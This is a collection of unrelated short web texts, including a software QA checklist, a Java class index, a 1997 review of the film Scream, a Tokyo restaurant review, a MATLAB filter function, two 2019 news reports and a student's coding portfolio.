Language switch reads ok |
|
|
|
| 4.3 |
Adding a feed works (e.g.
http://www.theregister.co.uk/headlines.atom) |
|
|
|
| 4.4 |
Try to reload the feeds |
|
|
|
| 4.5 |
Deleting user feed works |
|
|
|
| 4.6 |
Check if the selected article is restored when switching feeds |
|
|
|
| 4.6 |
App looks ok in all themes |
|
|
|
| 4.7 |
Resizing browser: Application adapts |
|
|
|
| 4.8 |
Resizing browser: Content/controls remain accessible |
|
|
|
| 5 |
Tutorial |
| 5.1 |
Layout and structure are ok |
|
|
|
| 5.1 |
Prev and next buttons work |
|
|
|
| 5.1 |
Run button works |
|
|
|
| 5.1 |
Help me out button works (every tutorial / step) |
|
|
|
| 5.1 |
Dialog appears if code will be replaced |
|
|
|
| 5.1 |
All desktop tutorials work |
|
|
|
| 5.1 |
All mobile tutorials work (except IE < 11) |
|
|
|
| 5.1 |
Syntax highlighting in the description is available |
|
|
|
| 5 |
Playground |
| 5.1 |
Samples load |
|
|
|
| 5.2 |
Syntax highlighting can be toggled |
|
|
|
| 5.3 |
Running changed code works |
|
|
|
6.4
|
A prompt will be displayed when code
should be discarded
|
|
|
|
6.4
|
Mobile samples load (WebKit/Blink and
Gecko)
|
|
|
|
| 6.7 |
Check if the link to the Manual, Api and Demobrowser works |
|
|
|
| 6.8 |
Shorten URL works (use e.g. a changed sample, where the code is in
the URL) |
|
|
|
| 5.9 |
Code via URL hash works (use the short URL gained in the previous
step) |
|
|
|
| 5.10 |
Try to save an example (static and user selected)
|
|
|
|
| 5.11 |
Check website tab
|
|
|
|
| 5.15 |
Resizing browser: Application adapts |
|
|
|
| 5.16 |
Resizing browser: Content/controls remain accessible |
|
|
|
| 8 |
Showcase |
| 8.1 |
Tabs load |
|
|
|
| 8.2 |
Interact with showcases |
|
|
|
| 8.3 |
Text/Links comply with showcase/-version |
|
|
|
| 9 |
Widget Browser
|
9.1
|
All tabs load and look okay (all
themes)
|
|
|
|
| 9.2 |
Toggling of states ("Disabled",
"Hovered", ...) in supporting tabs works and has appropriate visual
effect (all themes)
|
|
|
|
| 15 |
Tutorial Samples |
| 13.1 |
TweetsApp - Step1 loads
|
|
|
|
| 13.1 |
TweetsApp - Step2 loads
|
|
|
|
| 13.1 |
TweetsApp - Step3 loads
|
|
|
|
| 13.1 |
TweetsApp - Step4.1 loads
|
|
|
|
| 13.1 |
TweetsApp - Step4.2 loads
|
|
|
|
| 13.1 |
TweetsApp - Step4.2.1 loads
|
|
|
|
| 13.1 |
TweetsApp - Step4.3 loads
|
|
|
|
| 13.1 |
TweetsApp - Step4.4 loads
|
|
|
|
| 13.1 |
TweetsApp - Step4.5 loads
|
|
|
|


|
TvT
Description of event:
Players randomly divided into 2 teams - red and blue.%%
The award winning team players receive, the survivors.%%
The aim - to win the team competition. Event held in the Coliseum.%%
You may use any items. Buffs before the fight will not be charged.%%
Given 3 minutes to register, 1 minute on teleportation, 5 minutes for the fight.%%
If the winner is determined before the battle ends automatically.%%
At the end of the opening event, all participants resurrected, heal, and teleport back.%%
In case of death, the experience is not lost.
To register for opening event, you can use the link (Event must be active):
Register in event
Your level should be as specified in the Announce category.
If you do not want to participate, but want to watch the battle - you can use%%
overviews crystals or buy a place in the stands at the Arena Director.
|


See: Description
| Class | Description |
|---|---|
| Color4 |
More specific implementation of a color VecF4.
|
| MatF2 |
2x2 float matrix implementation.
|
| MatF3 |
3x3 float matrix implementation
|
| MatF4 |
4x4 float matrix implementation
|
| MatrixF |
Abstract class for all Matrices that provides several utility functions.
|
| MatrixFMath |
Utility class for the more abstract Computer Graphics - related Matrix
calculations.
|
| Point4 |
A optional, more specific
VecF4 implementation for points. |
| VecF2 |
A 2-place float vector implementation.
|
| VecF3 |
A 3-place float vector implementation
|
| VecF4 |
A 4-place float vector implementation.
|
| VecS2 |
A 2-place short integer vector implementation.
|
| VecS3 |
A 3-place short integer vector implementation.
|
| VecS4 |
A 4-place short integer vector implementation.
|
| Vector |
Generic abstract type for all vector implementaions.
|
| VectorF |
Generic abstract type for all float vector implementations.
|
| VectorFMath |
Utility class for float vector calculations.
|
| VectorList |
Generic List implementation for all eSight Vector implementations.
|
| VectorS |
Generic short integer abstract Vector type.
|
| VectorSMath |
Utility class for short integer vector calculations.
|
| Enum | Description |
|---|---|
| Vector.Type |


SCREAM (1996) A film review by Nick Schaden Copyright 1997 Nick Schaden
Aren't we all sick of those classic cliches in horror movies? Take the annoying habit of grossly disproportional female victims to run upstairs or downstairs when they should be running out the door. It's a weakness that destroys the horror in far too many horror flicks. "Scream", directed by horror master Wes Craven, makes a refreshing twist by poking fun at the genre Craven's worked with so much in previous years. Unfortunately, while good ideas surface, the movie stumbles too much for a recommendation.
A series of high school murders have shocked a community. An attractive young high school student, Sidney (Neve Campbell) gets several threatening calls and later gets viscously attacked by the murderer. Does this mean "Scream"'s plot will follow right in line with all the other slasher movies? Heavens no. Instead, the movie concentrates on a mystery and makes the audience try to guess which one of the many teenage suspects is the murderer. While Scream is light years away from "The Maltese Falcon" material, Wes Craven amazingly makes the plot moderately interesting. I actually cared for Sidney's plight, and I thoroughly enjoyed the many jokes the actors and the movie makes toward previous horror movies.
In other small doses we see Wes Craven's mastery of the horror genre. For example, in the beginning of the movie Drew Barrymore is threatened and attacked by the movie's murderer. It's done expertly well, the cinematography and sound makes for a great introduction to the movie.
However, after this well made intro, suddenly the rest of the movie falls into several weaknesses. First, the acting leaves something to be desired - the far majority of actors are new to the acting scene and it shows. For example, Campbell's acting falters in certain scenes, her attempt to portray a young woman deeply in fear is largely reduced to widening eyes and breathing hard - it isn't that convincing. In addition, ironically the movie falls much into the same cliches of many horror movies - the victims and cops are just too stupid and the murderer is just too smart. Finally, after all the twists and turns the audience goes through, I was really hoping for the movie to wrap up nicely. Unfortunately, the logic free twist in the movie's end combined with the lame motive of the murderer's crime make "Scream" end on a sour note.
In sum, I'll remember "Scream" as an original spin upon the horror genre. Unfortunately its weaknesses cut this movie below recommendation material.
Nick's Rating: +1
*** Movies rated from -4 (worst) to +4 (best), 0 = average movie ***
-- Nick Schaden Send your comments to<EMAIL_ADDRESS>Check out all of Nick's reviews at: http://uslink.net/~cpunut/movies.html
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


This is simple example on how and when to use "Precalculated" item on your report.
1. This picture represent project in template editor. General usage of precalculated item is when you need to find sum of item values, average values, min or max values.
2. When you place precalculated item then you can set it's formula, also shown in the picture.
3. In this example we're trying to show SUM of Price Values, Price is data stream and value is column. For How to write formula consult Precalculated item help.
4. Now, when we generate our example to PDF it will look like this:
5. You can see PDF file, and what is Precalculated actually do.


TnT: Tracks 'n Towers is a Tower Defense/Racing game.
Zombies are coming for your lovely trailer and you have to defend it to survive.
Finish laps to earn cash to build towers and use your Road Warrior car to mow down hundreds of Zombies.
The faster you finish a lap the more bonus money you will earn!


--- layout: default --- Qatar’s Maritime History and Heritage How the Digital Library of the Middle East Aids in Cultural Heritage Preservation Piecing Together the Ritual Use of Egyptian Female Figurines Recovering Papyri with the Digital Library of the Middle East {{ page.title }} by {{ page.author }} Trigger {{ content }}
by {{ page.author }}


EsakiA newbie to the Tokyo Michelin guide (with three stars) is Esaki, a small and elegant establishment where chef Shintaro Esaki works magic with fresh and local ingredients in a modern, innovative style. We ventured there, to its fashionable Aoyama location for lunch, last autumn, and found it to be a great value. The six-course 5,250 yen set lunch menu included fresh and perfectly prepared seafood, but the real stars of the show were the vegetables. After all, what other restaurant proudly introduces the produce at the table? Midway through the meal, just as the hassun (appetizer platter) arrived, our server came to our table with a basket brimming with the fresh produce that went into our meal. It was a fascinating touch — one that even people who are not enamored of vegetables — would most likely enjoy. TOP, left to right, top to bottom; Esaki's sign, located on the garden level of a residential neighborhood in Aoyama; Sanma with sanma liver sauce, topping pears and flat clams in fig sauce; Shima aji sashimi; a vegetable sommalier introduces the vegetables in the menu. BELOW: The hassun platter, (a trio of appetizers) from left to right: muscat grapes with tofu sauce; Fried shimoshi cucumber and honey pumpkin in pine sauce; eggplant and Yamanashi beans with black soybean sauce. This is because at Esaki, the vegetables are transformed into delectable treats, dressed up with fresh and innovative "cream" sauces made from entirely healthy Japanese ingredients, especially in the hassun platter, my favorite course. The rich, creamy sauce clinging to the slightly warm and peeled muscat grapes made a luxurious and wholly new taste sensation: the soft grapes almost had a texture akin to sashimi, and a restrained, tart sweetness that was transformed by the sesame-rich tofu sauce. And the black soybean sauce on the green beans and eggplant had a chocolate-like richness that elevated the humble but perfectly prepared vegetables. |
|
Above: The elegant, minimalist interior includes a ceramic frieze with a moif of rice plants. Below: a tabletop arrangement for fall, with sake from Nagano. |


[zerocoeff] = ZeroOutCoeff(coeff) This function to set every second coefficient to 0 except the middle one useful for the design of halfband filters length of coeff. has to be uneven This function was developed by Niklas Lotze<EMAIL_ADDRESS>0001 function [zerocoeff] = ZeroOutCoeff(coeff) 0002 0003 % 0004 % [zerocoeff] = ZeroOutCoeff(coeff) 0005 % 0006 % This function to set every second coefficient to 0 except 0007 % the middle one useful for the design of halfband filters 0008 % length of coeff. has to be uneven 0009 % 0010 % This function was developed by Niklas Lotze. 0011 %<EMAIL_ADDRESS>0012 % 0013 0014 middlecoeff = (length(coeff)+1)/2; 0015 % check if middle coefficient has even index 0016 if floor(middlecoeff/2) == middlecoeff/2 0017 coeff(2:2:middlecoeff-1) = 0; 0018 coeff(middlecoeff+2:2:length(coeff)) = 0; 0019 else 0020 coeff(1:2:middlecoeff-1) = 0; 0021 coeff(middlecoeff+2:2:length(coeff)) = 0; 0022 end 0023 zerocoeff=coeff;


We would love to see your continued support. Being a part of Engineers without borders gives you the possibility to get involved and influence our work for a better world. Your membership also supports our organization greatly and we need both active and supporting members. There is no requirement for an engineering degree, everyone is needed and all are welcome.
If you want to get involved we recommend that you contact your local group that you can find over at www.ewb-swe.org/organisation. You can also find available positions for current projects at volunteer.ewb-swe.org. If you have any other questions that can't be answered by one of the local groups, feel free to contact us at<EMAIL_ADDRESS>We would love to see you join our community. Being a part of Engineers without borders gives you the possibility to get involved and influence our work for a better world. Your membership also supports our organization greatly and we need both active and supporting members. There is no requirement for an engineering degree, everyone is needed and all are welcome.
If you want to get involved we recommend that you contact your local group that you can find over at www.ewb-swe.org/organisation. You can also find available positions for current projects at volunteer.ewb-swe.org. If you have any other questions that can't be answered by one of the local groups, feel free to contact us at<EMAIL_ADDRESS>Do you any questions regarding your membership or anything payment related? Reach out to us at info@ewb-swe.org.


Nationals' Suzuki catches ire from fans for wearing MAGA hat at the White House
by Justin BoggsThe Washington Nationals visited the White House on Monday, five days after bringing back to Washington the city's first World Series title in 95 years.
Although the visit was a rather cordial affair, one player's headgear drew some attention.
Nationals catcher Kurt Suzuki donned a "Make America Great Again" hat during his visit, which drew the approval of President Donald Trump, who used the slogan during his 2016 presidential campaign.
But the sight of Suzuki wearing the hat seemed to have upset some Nationals fans, who expressed their displeasure on social media on Monday. Many Nationals fans booed Trump and chanted "lock him up" during Trump's visit to Nationals Park for Game 5 of the World Series. Trump had just 4 percent of the vote in 2016 in Washington.
Although most of the Nationals' roster was on hand for the White House visit, some intentionally stayed away from the gathering.
“People say you should go because it’s about respecting the office of the President, and I think over the course of his time in office he’s done a lot of things that maybe don’t respect the office,” Sean Doolittle told the Washington Post.
LGBTQ activist Charlotte Clymer expressed her frustration on Twitter today.
"Not gonna lie: having spent the past decade cheering on the Nats and the last several months obsessed w/ their playoff journey, it's pretty heartbreaking to see Kurt Suzuki and company go far beyond polite reception and cozying up to a monster who hates people like me," she said.
The Nationals have spent recent days celebrating. The team had a victory parade on Saturday, followed by a visit to the Washington Capitals game on Sunday.


California Horse Racing Board elects vet as new chairman
DEL MAR, Calif. (AP) - The California Horse Racing Board has chosen a longtime veterinarian as its new chairman.
Gregory Ferraro was elected Thursday during the board’s meeting at Del Mar racetrack north of San Diego. He was appointed to the governing body five months ago by Gov. Gavin Newsom.
Ferraro noted the board has a mandate from Newsom’s office to focus on the health and safety of horses in the wake of 37 horse deaths at Santa Anita since last December.
“We have made several important new regulations and changes. There are many more to come,” Ferraro said. “We will gradually eliminate medication. We expect opposition to many of these, but we are determined to carry them out.”
Ferraro served as director of the UC Davis School of Veterinary Medicine Center for Equine Health from 1997 to 2014. He owned his veterinary practice from 1972 to 1997. He earned a doctor of veterinary medicine degree from UC Davis and is a member of the American Association of Equine Practitioners and the American Veterinary Medical Association.
Ferraro of San Francisco succeeds Chuck Winner, who ended his tenure as board chairman in October.
Oscar Gonzales was elected as vice chairman, succeeding Madeline Auerbach, who retired earlier this month.
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


Hi! My name is Sydney Caulfeild and I am second-year engineering student at Queen's University. I have been studying computer science for three years and will be entering computer engineering in the fall. While in 12th grade I worked on several projects and courses on Khan Academy. The top projects are described below.
This project is a replication of Dan Shiffman's Flappy Bird Coding Challenge. He created a YouTube video where he codes a challenge live and I coded along with him to learn the code. I then added to his game by creating a bird image, modifying the gravity and lift variables and increasing the speed of the pipes as they approach the bird to make it more challenging. This video demonstrates how the game works: the user presses the space bar to make the bird fly and is attempting to avoid the pipes. If they hit a pipe, the pipes turn red to indicate they've been hit. You can view my code for the project by clicking on "View Repository".
View RepositoryDuring Grade 12 I worked on a 20-Time Project, or in other words a project that I dedicate 20% of my time to. I chose to create a soccer injury website that provides information on how to prevent and recover from various injuries. This is a subject that I am very passionate about because after playing soccer at a provincial level I have had my fair share of injuries. I wanted to share my knowledge on how to recover with others so that they can stay in the game. I used a website called WIX to create my webpage from scratch. I also used JavaScript to code a calendar that I plan on incorporating to demonstrate the different recovery timelines. This image shows the main page for injury prevention.
View WebsiteI have completed the entire Algorithms course on Khan Academy. I learned a lot about binary search and recursion, as well as a variety of sorting methods such as insertion sort, quick sort, and merge sort. This image is my project from the selection sort lesson. I coded a visual representation of how selection sort works to arrange numbers into ascending order. You can view the code for this project along with all of my algorithms work by clicking on "View Repository".
View RepositoryI have also finished the Intro to JS: Drawing and Animation course on Khan Academy. This image is from a lesson on functions. It is an interactive fish tank where users press their mouse to add fish and press the spacebar to add bubbles. You can see the code for this project and the rest of my JavaScript work in my GitHub repository.
View RepositoryFurthermore, I have finished the HTML/CSS: Making Webpages course on Khan Academy. This clip shows a recipe book that I made with links to different sections and three recipes. You can see the code for this project as well as for all of my other projects and challenges in my GitHub repository.
View RepositoryAnother big portion of this course was spent learning Advanced JS: Natural Simulations by Dan Shiffman on Khan Academy. We focused on noise, vectors, randomness and oscillations. This video clip is from the particle systems lesson. I have two lady bugs that are attracte to a flower and move in an oscillating motion. I also have particle systems of rain that are falling from the clouds. Users can make it rain emoji's by clicking on the canvas with the mouse. You can see the code for this project as well as all of my other Natural Simulations challenges and projects in my GitHub repository.
View RepositoryA very signifiant portion of this course was spent learning how to use our Git workflow. I have completed the Git-it tutorial which taught the basics of version control.
View Repository
Finally, I have also done the HTML/JS: Making Webpages Interactive course on Khan Acadey. Here is one of the challenges I have completed. It is a Mad Lib game where the user enters words and the program makes a story. You can view the code for this challenge as well as all of my other work for this lesson in my repository on GitHub.
View Repository
I also learned about Arduino Breadboards. We worked weekly in groups to study circuits and made code to turn an LED light on or off using a button. We were also able to modify the code to reverse the roll of the button and incorporate a second LED light. Our progress logs and code can be found in our GitHub repository.
View Repository